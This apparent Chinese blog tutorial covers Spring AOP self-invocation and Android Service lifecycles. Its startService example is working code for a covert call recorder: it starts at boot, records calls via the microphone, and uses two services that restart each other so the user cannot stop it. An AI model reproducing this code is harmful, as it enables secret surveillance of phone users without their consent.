关于同一个service调用service本身的方法

作者:缘来是你阿 时间:2023-09-06 13:57:00 

同一个service调用service本身

如果同一个service调用service本身的方法,出现了事务不能控制。

解决方案

1.在spring配置文件中配置 

<!-- expose-proxy service调用aop实现自身调用自身方法-->    
<aop:aspectj-autoproxy proxy-target-class="true" expose-proxy="true"/>

2.在service中用  AopContext.currentProxy() 方法调用

例如调用myService的mySave方法:

((myService) AopContext.currentProxy()).mySave(myPojo);

service的两种调用方法

一、startService开启服务

生命周期如下:

onCreate()&ndash;> onStartCommand() &mdash;> onDestory();

如果服务已经开启,不会重复的执行onCreate(), 而是会调用onStartCommand()。服务停止的时候调用onDestory()。服务只会被停止一次。

下面是一个 * 器的实例:

在Manifest文件中配置必要的权限和组件。设置一个监听开机的广播接收者。

<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.RECORD_AUDIO"/>
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
<service android:name="com.itheima.phonelistener.SystemService" >
</service>
<service android:name="com.itheima.phonelistener.SystemService2" >
</service>
<receiver android:name="com.itheima.phonelistener.BootReceiver" >
   <intent-filter>
        <action android:name="android.intent.action.BOOT_COMPLETED" />
   </intent-filter>
</receiver>

BootReceiver.java

监听开机事件。

public class BootReceiver extends BroadcastReceiver {
   @Override
   public void onReceive(Context context, Intent intent) {
       Intent i = new Intent(context,SystemService.class);
       context.startService(i);
   }
}

SystemService.java

两个Service类中的一个。两个类采用循环调用机制,当其中一个Service被destroy时,系统调用另一个Service。这样起到了防止用户关闭的流氓效果。

public class SystemService extends Service {
   // 电话管理器
   private TelephonyManager tm;
   // * 对象
   private MyListener listener;
   //声明录音机
   private MediaRecorder mediaRecorder;
   @Override
   public IBinder onBind(Intent intent) {
       return null;
   }
   // 服务创建的时候调用的方法
   @Override
   public void onCreate() {
       // 后台监听电话的呼叫状态。
       // 得到电话管理器
       tm = (TelephonyManager) this.getSystemService(TELEPHONY_SERVICE);
       listener = new MyListener();
       tm.listen(listener, PhoneStateListener.LISTEN_CALL_STATE);
       super.onCreate();
   }
   private class MyListener extends PhoneStateListener {
       // 当电话的呼叫状态发生变化的时候调用的方法
       @Override
       public void onCallStateChanged(int state, String incomingNumber) {
           super.onCallStateChanged(state, incomingNumber);
           try {
               switch (state) {
               case TelephonyManager.CALL_STATE_IDLE://空闲状态。
                   if(mediaRecorder!=null){
                       //8.停止捕获
                       mediaRecorder.stop();
                       //9.释放资源
                       mediaRecorder.release();
                       mediaRecorder = null;
                       System.out.println("录制完毕,上传文件到服务器。");
                   }
                   break;
               case TelephonyManager.CALL_STATE_RINGING://零响状态。
                   break;
               case TelephonyManager.CALL_STATE_OFFHOOK://通话状态
                   //开始录音
                   //1.实例化一个录音机
                   mediaRecorder = new MediaRecorder();
                   //2.指定录音机的声音源
                   mediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);
                   //3.设置录制的文件输出的格式
                   mediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.DEFAULT);
                   //4.指定录音文件的名称
                   File file = new File(Environment.getExternalStorageDirectory(),System.currentTimeMillis()+".3gp");
                   mediaRecorder.setOutputFile(file.getAbsolutePath());
                   //5.设置音频的编码
                   mediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.DEFAULT);
                   //6.准备开始录音
                   mediaRecorder.prepare();
                   //7.开始录音
                   mediaRecorder.start();
                   break;
               }
           } catch (Exception e) {
               e.printStackTrace();
           }
       }
   }
   // 服务销毁的时候调用的方法
   @Override
   public void onDestroy() {
       super.onDestroy();
       // 取消电话的监听
       System.out.println("ondestory");
       Intent i = new Intent(this,SystemService2.class);
       startService(i);
       tm.listen(listener, PhoneStateListener.LISTEN_NONE);
       listener = null;
   }
}

MainActivity.java

控制Service的开启和关闭。

public class MainActivity extends Activity {
   @Override
   protected void onCreate(Bundle savedInstanceState) {
       super.onCreate(savedInstanceState);
       setContentView(R.layout.activity_main);
   }
   public void start(View view){
       //开启服务。
       Intent intent = new Intent(this,SystemService.class);
       startService(intent);
   }
   public void stop(View view){
       //停止服务。
       Intent intent = new Intent(this,SystemService.class);
       stopService(intent);
   }
}

二、bindService绑定服务

用绑定方式开启的Service,其生命周期为:onCreate() &mdash;>onBind();&mdash;>onunbind()&ndash;>onDestory(); 没有onStartCommand。

步骤:

1. 服务要暴露方法,必须在Service中定义一个内部类&mdash;&mdash;中间人MiddlePerson,实现定义好的接口中的方法(callMethodInService,用于调用Service中的某方法)。

2. 实现服务成功绑定的代码(onBind方法),返回一个中间人new MiddlePerson()。

3. 在Activity中的bind()方法中采用bindService方法开启服务。

Intent intent = new Intent(this, MyService.class);
conn = new MyConn();
bindService(intent, conn, BIND_AUTO_CREATE);

4. 当服务被连接或失去连接时,分别实现ServiceConnection接口中的onServiceConnected()和onServiceDisconnected()方法。

5. 最后就可以通过中间人调用服务里面的方法了。

mp.callMethodInService(55);

MainActivity.java

public class MyService extends Service {
   //2.实现服务成功绑定的代码 ,返回一个中间人。
   @Override
   public IBinder onBind(Intent arg0) {
       System.out.println("服务被成功绑定了。。。。");
       return new MiddlePerson();
   }
   @Override
   public boolean onUnbind(Intent intent) {
       System.out.println("onunbind");
       return super.onUnbind(intent);
   }
   @Override
   public void onCreate() {
       System.out.println("oncreate");
       super.onCreate();
   }
   @Override
   public int onStartCommand(Intent intent, int flags, int startId) {
       System.out.println("onstartcommand");
       return super.onStartCommand(intent, flags, startId);
   }
   @Override
   public void onDestroy() {
       System.out.println("ondestory");
       super.onDestroy();
   }
   /**
    * 这是服务里面的一个方法
    */
   public void methodInService(){
       Toast.makeText(this, "哈哈,服务给你办好了暂住证。", 0).show();
   }
   //1.第一步服务要暴露方法 必须要有一个中间人
   private class MiddlePerson extends Binder implements IMiddlePerson{
       /**
        * 代办暂住证
        * @param money 给钱 50块钱以上才给办。
        */
       public void callMethodInService(int money){
           if(money>=50){
               methodInService();
           }else{
               Toast.makeText(getApplicationContext(), "多准备点钱。", 0).show();
           }
       }
       /**
        * 陪领导打麻将
        */
       public void playMajiang(){
           System.out.println("陪领导打麻将。");
       }
   }
}

三、两种方法的区别

  • start方式开启服务,一旦服务开启,就和调用者(Activity)没有任何关系了。开启者退出后,如果开启者挂掉,服务还在后台长期的运行。而且开启者没有办法去调用服务里面的方法。

  • bind方式开启服务,一旦调用者挂掉,服务也会跟着挂掉。不求同时生,但求同时死。而且开启者可以调用服务里面的方法。

来源:https://blog.csdn.net/qq_32711309/article/details/104689581

标签:service,调用,本身
0
投稿

猜你喜欢

  • C#推送信息到APNs的方法

    2023-05-29 05:20:59
  • 发布 Android library 到 Maven 解析

    2022-11-01 22:20:13
  • C语言中输入输出流与缓冲区的深入讲解

    2021-06-12 07:44:29
  • android 网络编程之网络通信几种方式实例分享

    2022-01-05 14:23:39
  • 深入讲解SPI 在 Spring 中的应用

    2022-10-21 03:44:55
  • Android开发之组件GridView简单使用方法示例

    2022-11-19 09:35:05
  • 通过实例解析spring环绕通知原理及用法

    2022-12-26 23:33:20
  • C#读取目录下所有指定类型文件的方法

    2023-05-01 10:59:14
  • java生成jar包的方法

    2022-06-09 12:22:03
  • Intellij IDEA 的maven项目通过Java代码实现Jetty的Http服务器(推荐)

    2022-02-19 20:29:13
  • Android4.4 WebAPI实现拍照上传功能

    2023-08-17 00:46:21
  • Java将对象保存到文件中/从文件中读取对象的方法

    2022-06-18 21:26:42
  • java代理 jdk动态代理应用案列

    2023-02-17 10:08:55
  • Java中final与继承操作实例分析

    2023-09-14 08:56:02
  • Java使用DFA算法实现敏感词过滤的示例代码

    2022-10-21 00:56:13
  • 详解c# 委托链

    2021-10-06 23:17:59
  • Unity工具类之生成文本验证码

    2021-06-21 03:38:42
  • MyBatis实现模糊查询的几种方式

    2023-06-03 17:31:43
  • Java单例模式、饥饿模式代码实例

    2022-04-15 22:22:06
  • vscode设置Fira_Code字体及改变编辑器字体、背景颜色的代码详解

    2023-05-22 21:00:17
  • asp之家 软件编程 m.aspxhome.com